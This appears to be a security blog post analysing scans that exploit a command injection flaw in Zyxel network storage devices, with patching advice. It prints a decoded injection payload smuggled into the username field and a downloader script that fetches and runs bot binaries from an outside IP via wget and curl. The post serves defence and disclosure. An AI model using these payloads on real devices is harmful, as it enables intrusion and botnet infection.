Last Updated: 2022-02-10 17:59:01 UTC
by Johannes Ullrich (Version: 1)
I have been talking a lot about various network storage devices and how you never ever want to expose them to the Internet. The brands that usually come up are Synology and QNAP, which have a significant market share. But they are not alone. Pretty much all these devices follow the same basic pattern: Build a reasonably powered server with a bunch of disks, and allow users to install various vulnerable web apps to manage these devices, or better: Install them by default and call them "Features."
Network vendor Zyxel is following the same pattern, and of course, we see scans targeting some of the vulnerabilities found in these devices. For example:
The URL is a bit "odd" because it includes a comma ahead of cgi-bin. But the exciting part follows the username "admin." Decoding it for readability:
admin'; cd /tmp;r m wget.sh; wget http://220.127.116.11/multi/wget.sh -O- >s; chmod 777 s; sh s Exploit.Zyxel; #
wget.sh is the typical script downloading an ELF binary for various architectures:
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://18.104.22.168/multi/bins/bot.x86_64; curl -O http://22.214.171.124/multi/bins/bot.x86;cat bot.x86 >lk;chmod +x *;./lk $1
[... and more lines like this ...]
The bot.x86_64 file downloaded is well recognized by Antivirus
The underlying vulnerability was disclosed about a year ago after the exploit had been seen for sale. It was in broader use at least around June last year.
As should be evident from the exploit above, the username is not escaped correctly/validated. A single quote is often associated with SQL injection, but various other injection vulnerabilities use similar patterns like the OS command injection in this case.
So double-check that your NAS, no matter the vendor, is up to date and NOT EXPOSED to the Internet.